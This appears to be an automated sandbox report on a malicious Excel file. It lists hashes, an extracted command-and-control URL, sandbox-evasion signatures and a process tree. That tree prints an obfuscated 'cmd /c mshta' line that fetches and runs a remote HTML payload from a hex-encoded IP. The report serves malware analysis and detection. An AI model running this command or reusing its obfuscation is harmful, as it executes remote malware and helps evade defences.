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Analysis
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max time kernel
133s -
max time network
140s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
11/11/2024, 21:15
Behavioral task
behavioral1
Sample
fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db.xls
Resource
win10v2004-20241007-en
General
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Target
fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db.xls
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Size
114KB
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MD5
e6ec6de5a4a7782d12856e095fef6552
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SHA1
0c8559da122fe6c1cb38f6f199b5bc85c0694455
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SHA256
fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db
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SHA512
c3061750de5e0723e16ccfb3c1a0db8f0a59d4d95ab576dd93ad2af0ea5bea61500ced581229d9dcc6a139c1b770fe7bf3184af7b9676014a920ab54cd5054da
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SSDEEP
3072:AH+Hyms/k3hbdlylKsgqopeJBWhZFGkE+cMLxAAIixe53lGvFTQ3IzxgdrvxpU0f:e+Hyms/k3hbdlylKsgqopeJBWhZFVE+i
Malware Config
Extracted
http://92.255.57.195/sec/se4.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4500 4772 cmd.exe 84 -
Blocklisted process makes network request 1 IoCs
flow pid Process 21 396 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4772 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 4772 EXCEL.EXE 4772 EXCEL.EXE 4772 EXCEL.EXE 4772 EXCEL.EXE 4772 EXCEL.EXE 4772 EXCEL.EXE 4772 EXCEL.EXE 4772 EXCEL.EXE 4772 EXCEL.EXE 4772 EXCEL.EXE 4772 EXCEL.EXE 4772 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4772 wrote to memory of 4500 4772 EXCEL.EXE 86 PID 4772 wrote to memory of 4500 4772 EXCEL.EXE 86 PID 4500 wrote to memory of 396 4500 cmd.exe 89 PID 4500 wrote to memory of 396 4500 cmd.exe 89
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4772 -
C:\Windows\SYSTEM32\cmd.execmd /c ms^ht^a ht^t^p:/^/0x^5cf^f^39c^3^/^sec^/^se4.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4500 -
C:\Windows\system32\mshta.exemshta http://0x5cff39c3/sec/se4.html3⤵
- Blocklisted process makes network request
PID:396
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD52ab7e1e1b58cb6abd6f0a1a3b3642171
SHA1821328848043c286b9ad53990747e2078375e626
SHA2563f87deb7586fcbde69a913a0579cc1a59abcc688d10fc2a4da80b89f912b1ba8
SHA5122449ace1ebfcf194e899538780b93649caeb170ae4924dbfde66f14fac841c829f4de7a1582333e2115bfa1ecec6009c3f551b8e789a3d04785eb0af4c8176be